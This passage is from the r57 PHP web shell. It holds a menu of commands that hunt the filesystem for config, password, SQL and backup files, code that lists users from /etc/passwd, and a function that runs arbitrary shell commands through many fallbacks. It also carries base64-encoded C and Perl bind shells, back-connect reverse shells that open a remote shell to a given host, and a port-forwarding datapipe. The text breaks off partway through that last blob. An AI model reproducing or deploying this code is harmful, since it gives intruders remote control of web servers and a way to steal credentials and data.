  1195. 'find all .fetchmailrc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .fetchmailrc  >> /tmp/grep.txt;cat /tmp/grep.txt',
  1196. 'find httpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name httpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
  1197. 'find vhosts.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name vhosts.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
  1198. 'find proftpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name proftpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
  1199. 'find admin.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name admin.php >> /tmp/grep.txt;cat /tmp/grep.txt',
  1200. 'find config* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "config*"  >> /tmp/grep.txt;cat /tmp/grep.txt',
  1201. 'find cfg.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name cfg.php >> /tmp/grep.txt;cat /tmp/grep.txt',
  1202. 'find conf.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name conf.php >> /tmp/grep.txt;cat /tmp/grep.txt',
  1203. 'find config.dat files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.dat >> /tmp/grep.txt;cat /tmp/grep.txt',
  1204. 'find config.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.php >> /tmp/grep.txt;cat /tmp/grep.txt',
  1205. 'find config.inc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.inc >> /tmp/grep.txt;cat /tmp/grep.txt',
  1206. 'find config.inc.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.inc.php >> /tmp/grep.txt;cat /tmp/grep.txt',
  1207. 'find config.default.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.default.php >> /tmp/grep.txt;cat /tmp/grep.txt',
  1208. 'find *.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.conf" >> /tmp/grep.txt;cat /tmp/grep.txt',
  1209. 'find *.pwd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.pwd" >> /tmp/grep.txt;cat /tmp/grep.txt',
  1210. 'find *.sql files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.sql" >> /tmp/grep.txt;cat /tmp/grep.txt',
  1211. 'find *backup* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*backup*" >> /tmp/grep.txt;cat /tmp/grep.txt',
  1212. 'find *dump* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*dump*" >> /tmp/grep.txt;cat /tmp/grep.txt',
  1213. '-----------------------------------'=>'',
  1214. 'find /var/ access_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name access_log >> /tmp/grep.txt;cat /tmp/grep.txt',
  1215. 'find /var/ error_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name error_log >> /tmp/grep.txt;cat /tmp/grep.txt',
  1216. 'find /var/ access.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name access.log >> /tmp/grep.txt;cat /tmp/grep.txt',
  1217. 'find /var/ error.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name error.log >> /tmp/grep.txt;cat /tmp/grep.txt',
  1218. 'find /var/ "*.log" files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name "*.log" >> /tmp/grep.txt;cat /tmp/grep.txt',
  1219. '----------------------------------------------------------------------------------------------------'=>'ls -la'
  1220. );
  1221. $table_up1  = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: ";
  1222. $table_up2  = " ::</div></b></font></td></tr><tr><td>";
  1223. $table_up3  = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>";
  1224. $table_end1 = "</td></tr>";
  1225. $arrow = " <font face=Webdings color=gray>4</font>";
  1226. $lb = "<font color=black>[</font>";
  1227. $rb = "<font color=black>]</font>";
  1228. $font = "<font face=Verdana size=-2>";
  1229. $ts = "<table class=table1 width=100% align=center>";
  1230. $te = "</table>";
  1231. $fs = "<form name=form method=POST>";
  1232. $fe = "</form>";
  1233.  
  1234. if(isset($_GET['users']))
  1235.  {
  1236.  if(!$users=get_users('/etc/passwd')) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
  1237.  else
  1238.   {
  1239.   echo '<center>';
  1240.   foreach($users as $user) { echo $user."<br>"; }
  1241.   echo '</center>';
  1242.   }
  1243.  echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
  1244.  }
  1245.  
  1246. if (!empty($_POST['dir'])) { if(@function_exists('chdir')){@chdir($_POST['dir']);} else if(@function_exists('chroot')){ @chroot($_POST['dir']);}; }
  1247. if (empty($_POST['dir'])){if(@function_exists('chdir')){$dir = @getcwd();};}else{$dir=$_POST['dir'];}
  1248. $unix = 0;
  1249. if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
  1250. if(empty($dir))
  1251.  {
  1252.  $os = getenv('OS');
  1253.  if(empty($os)){ $os = @php_uname(); }
  1254.  if(empty($os)){ $os ="-"; $unix=1; }
  1255.  else
  1256.     {
  1257.     if(@eregi("^win",$os)) { $unix = 0; }
  1258.     else { $unix = 1; }
  1259.     }
  1260.  }
  1261.  
  1262. if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
  1263.   {
  1264.     echo $head;
  1265.     if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
  1266.     else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
  1267.     $sr->SearchText(0,0);
  1268.     $res = $sr->GetResultFiles();
  1269.     $found = $sr->GetMatchesCount();
  1270.     $titles = $sr->GetTitles();
  1271.     $r = "";
  1272.     if($found > 0)
  1273.     {
  1274.       $r .= "<TABLE width=100%>";
  1275.       foreach($res as $file=>$v)
  1276.       {
  1277.         $r .= "<TR>";
  1278.         $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
  1279.         $r .= (!$unix)? str_replace("/","\\",$file) : $file;
  1280.         $r .= "</b></font></ TD>";
  1281.         $r .= "</TR>";
  1282.         foreach($v as $a=>$b)
  1283.         {
  1284.           $r .= "<TR>";
  1285.           $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
  1286.           $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
  1287.           $r .= "</TR>\n";
  1288.         }
  1289.       }
  1290.       $r .= "</TABLE>";
  1291.     echo $r;
  1292.     }
  1293.     else
  1294.     {
  1295.       echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
  1296.     }
  1297.   echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  1298.   die();
  1299.   }                                                          
  1300.  
  1301. if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }
  1302. $SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
  1303. if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
  1304. function ws($i)
  1305. {
  1306. return @str_repeat("&nbsp;",$i);
  1307. }
  1308. function ex($cfe)
  1309. {
  1310.  $res = '';
  1311.  if (!empty($cfe))
  1312.  {
  1313.   if(@function_exists('exec'))
  1314.    {
  1315.     @exec($cfe,$res);
  1316.     $res = join("\n",$res);
  1317.    }
  1318.   elseif(@function_exists('shell_exec'))
  1319.    {
  1320.     $res = @shell_exec($cfe);
  1321.    }
  1322.   elseif(@function_exists('system'))
  1323.    {
  1324.     @ob_start();
  1325.     @system($cfe);
  1326.     $res = @ob_get_contents();
  1327.     @ob_end_clean();
  1328.    }
  1329.   elseif(@function_exists('passthru'))
  1330.    {
  1331.     @ob_start();
  1332.     @passthru($cfe);
  1333.     $res = @ob_get_contents();
  1334.     @ob_end_clean();
  1335.    }
  1336.   elseif(@is_resource($f = @popen($cfe,"r")))
  1337.   {
  1338.    $res = "";
  1339.    if(@function_exists('fread') && @function_exists('feof')){
  1340.     while(!@feof($f)) { $res .= @fread($f,1024); }
  1341.    }else if(@function_exists('fgets') && @function_exists('feof')){
  1342.     while(!@feof($f)) { $res .= @fgets($f,1024); }
  1343.    }
  1344.    @pclose($f);
  1345.   }
  1346.   elseif(@is_resource($f = @proc_open($cfe,array(1 => array("pipe", "w")),$pipes)))
  1347.   {
  1348.    $res = "";
  1349.    if(@function_exists('fread') && @function_exists('feof')){
  1350.     while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);}
  1351.    }else if(@function_exists('fgets') && @function_exists('feof')){
  1352.     while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);}
  1353.    }
  1354.    @proc_close($f);
  1355.   }
  1356.   elseif(@function_exists('pcntl_exec')&&@function_exists('pcntl_fork'))
  1357.    {
  1358.     $res = '[~] Blind Command Execution via [pcntl_exec]\n\n';
  1359.     $pid = @pcntl_fork();
  1360.     if ($pid == -1) {
  1361.      $res .= '[-] Could not children fork. Exit';
  1362.     } else if ($pid) {
  1363.          if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';}
  1364.          else {$res .= '[-] Error. Command incorrect.';}
  1365.     } else {
  1366.          $cfe = array(" -e 'system(\"$cfe\")'");
  1367.          if(@pcntl_exec('/usr/bin/perl',$cfe)) exit(0);
  1368.          if(@pcntl_exec('/usr/local/bin/perl',$cfe)) exit(0);
  1369.          die();
  1370.     }
  1371.    }
  1372.  }
  1373.  return $res;
  1374. }
  1375. function get_users($filename)
  1376. {
  1377.   $users = array();
  1378.   $rows=@explode("\n",readzlib($filename));
  1379.   if(!$rows) return 0;
  1380.   foreach ($rows as $string)
  1381.    {
  1382.    $user = @explode(":",trim($string));
  1383.    if(substr($string,0,1)!='#') array_push($users,$user[0]);
  1384.    }
  1385.   return $users;
  1386. }
  1387. function err($n,$txt='')
  1388. {
  1389. echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>';
  1390. echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
  1391. if(!empty($txt)) { echo " $txt"; }
  1392. echo '</b></div></font></td></tr></table>';
  1393. return null;
  1394. }
  1395. function perms($mode)
  1396. {
  1397. if (!$GLOBALS['unix']) return 0;
  1398. if( $mode & 0x1000 ) { $type='p'; }
  1399. else if( $mode & 0x2000 ) { $type='c'; }
  1400. else if( $mode & 0x4000 ) { $type='d'; }
  1401. else if( $mode & 0x6000 ) { $type='b'; }
  1402. else if( $mode & 0x8000 ) { $type='-'; }
  1403. else if( $mode & 0xA000 ) { $type='l'; }
  1404. else if( $mode & 0xC000 ) { $type='s'; }
  1405. else $type='u';
  1406. $owner["read"] = ($mode & 00400) ? 'r' : '-';
  1407. $owner["write"] = ($mode & 00200) ? 'w' : '-';
  1408. $owner["execute"] = ($mode & 00100) ? 'x' : '-';
  1409. $group["read"] = ($mode & 00040) ? 'r' : '-';
  1410. $group["write"] = ($mode & 00020) ? 'w' : '-';
  1411. $group["execute"] = ($mode & 00010) ? 'x' : '-';
  1412. $world["read"] = ($mode & 00004) ? 'r' : '-';
  1413. $world["write"] = ($mode & 00002) ? 'w' : '-';
  1414. $world["execute"] = ($mode & 00001) ? 'x' : '-';
  1415. if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
  1416. if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
  1417. if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
  1418. $s=sprintf("%1s", $type);
  1419. $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
  1420. $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
  1421. $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
  1422. return trim($s);
  1423. }
  1424. function in($type,$name,$size,$value,$checked=0)
  1425. {
  1426.  $ret = "<input type=".$type." name=".$name." ";
  1427.  if($size != 0) { $ret .= "size=".$size." "; }
  1428.  $ret .= "value=\"".$value."\"";
  1429.  if($checked) $ret .= " checked";
  1430.  return $ret.">";
  1431. }
  1432. function which($pr)
  1433. {
  1434. $path = '';
  1435. $path = ex("which $pr");
  1436. if(!empty($path)) { return $path; } else { return false; }
  1437. }
  1438. function cf($fname,$text)
  1439. {
  1440.  $w_file=@fopen($fname,"w") or @function_exists('file_put_contents') or err(0);
  1441.  if($w_file)
  1442.  {
  1443.  @fwrite($w_file,@base64_decode($text)) or @fputs($w_file,@base64_decode($text)) or @file_put_contents($fname,@base64_decode($text));
  1444.  @fclose($w_file);
  1445.  }
  1446. }
  1447. function sr($l,$t1,$t2)
  1448.  {
  1449.  return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
  1450.  }
  1451. if (!@function_exists("view_size"))
  1452. {
  1453. function view_size($size)
  1454. {
  1455.  if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
  1456.  elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
  1457.  elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
  1458.  else {$size = $size . " B";}
  1459.  return $size;
  1460. }
  1461. }
  1462.   function DirFilesR($dir,$types='')
  1463.   {
  1464.     $files = Array();
  1465.     if(($handle = @opendir($dir)) || (@function_exists('scandir')))
  1466.     {
  1467.       while ((false !== ($file = @readdir($handle))) && (false !== ($file = @scandir($dir))))
  1468.       {
  1469.         if ($file != "." && $file != "..")
  1470.         {
  1471.           if(@is_dir($dir."/".$file))
  1472.             $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
  1473.           else
  1474.           {
  1475.             $pos = @strrpos($file,".");
  1476.             $ext = @substr($file,$pos,@strlen($file)-$pos);
  1477.             if($types)
  1478.             {
  1479.               if(@in_array($ext,explode(';',$types)))
  1480.                 $files[] = $dir."/".$file;
  1481.             }
  1482.             else
  1483.               $files[] = $dir."/".$file;
  1484.           }
  1485.         }
  1486.       }
  1487.       @closedir($handle);
  1488.     }
  1489.     return $files;
  1490.   }
  1491.   class SearchResult
  1492.   {
  1493.     var $text;
  1494.     var $FilesToSearch;
  1495.     var $ResultFiles;
  1496.     var $FilesTotal;
  1497.     var $MatchesCount;
  1498.     var $FileMatschesCount;
  1499.     var $TimeStart;
  1500.     var $TimeTotal;
  1501.     var $titles;
  1502.     function SearchResult($dir,$text,$filter='')
  1503.     {
  1504.       $dirs = @explode(";",$dir);
  1505.       $this->FilesToSearch = Array();
  1506.       for($a=0;$a<count($dirs);$a++)
  1507.         $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
  1508.       $this->text = $text;
  1509.       $this->FilesTotal = @count($this->FilesToSearch);
  1510.       $this->TimeStart = getmicrotime();
  1511.       $this->MatchesCount = 0;
  1512.       $this->ResultFiles = Array();
  1513.       $this->FileMatchesCount = Array();
  1514.       $this->titles = Array();
  1515.     }
  1516.     function GetFilesTotal() { return $this->FilesTotal; }
  1517.     function GetTitles() { return $this->titles; }
  1518.     function GetTimeTotal() { return $this->TimeTotal; }
  1519.     function GetMatchesCount() { return $this->MatchesCount; }
  1520.     function GetFileMatchesCount() { return $this->FileMatchesCount; }
  1521.     function GetResultFiles() { return $this->ResultFiles; }
  1522.     function SearchText($phrase=0,$case=0) {
  1523.     $qq = @explode(' ',$this->text);
  1524.     $delim = '|';
  1525.       if($phrase)
  1526.         foreach($qq as $k=>$v)
  1527.           $qq[$k] = '\b'.$v.'\b';
  1528.       $words = '('.@implode($delim,$qq).')';
  1529.       $pattern = "/".$words."/";
  1530.       if(!$case)
  1531.         $pattern .= 'i';
  1532.       foreach($this->FilesToSearch as $k=>$filename)
  1533.       {
  1534.         $this->FileMatchesCount[$filename] = 0;
  1535.         $FileStrings = @file($filename) or @next;
  1536.         for($a=0;$a<@count($FileStrings);$a++)
  1537.         {
  1538.           $count = 0;
  1539.           $CurString = $FileStrings[$a];
  1540.           $CurString = @Trim($CurString);
  1541.           $CurString = @strip_tags($CurString);
  1542.           $aa = '';
  1543.           if(($count = @preg_match_all($pattern,$CurString,$aa)))
  1544.           {
  1545.             $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
  1546.             $this->ResultFiles[$filename][$a+1] = $CurString;
  1547.             $this->MatchesCount += $count;
  1548.             $this->FileMatchesCount[$filename] += $count;
  1549.           }
  1550.         }
  1551.       }
  1552.       $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
  1553.     }
  1554.   }
  1555.   function getmicrotime()
  1556.   {
  1557.     list($usec,$sec) = @explode(" ",@microtime());
  1558.     return ((float)$usec + (float)$sec);
  1559.   }
  1560. $port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
  1561. A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
  1562. GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
  1563. b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
  1564. pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
  1565. NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
  1566. ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
  1567. ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
  1568. 7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
  1569. 9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
  1570. 2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
  1571. dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
  1572. lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
  1573. $port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
  1574. VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
  1575. JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
  1576. TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
  1577. lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
  1578. Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
  1579. Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
  1580. lIENPTk47DQpleGl0IDA7DQp9DQp9";
  1581. $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
  1582. aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
  1583. hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
  1584. sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
  1585. kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
  1586. KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
  1587. OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  1588. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
  1589. BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
  1590. SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
  1591. KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
  1592. sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
  1593. Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
  1594. QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
  1595. Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
  1596. $datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
  1597. x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
  1598. HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
  1599. aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
  1600. lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
  1601. xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
  1602. W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
  1603. LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
  1604. udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
  1605. 0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
  1606. iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
  1607. KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
  1608. gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
  1609. hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
  1610. iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
  1611. ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
  1612. vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
  1613. AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
  1614. QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
  1615. ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
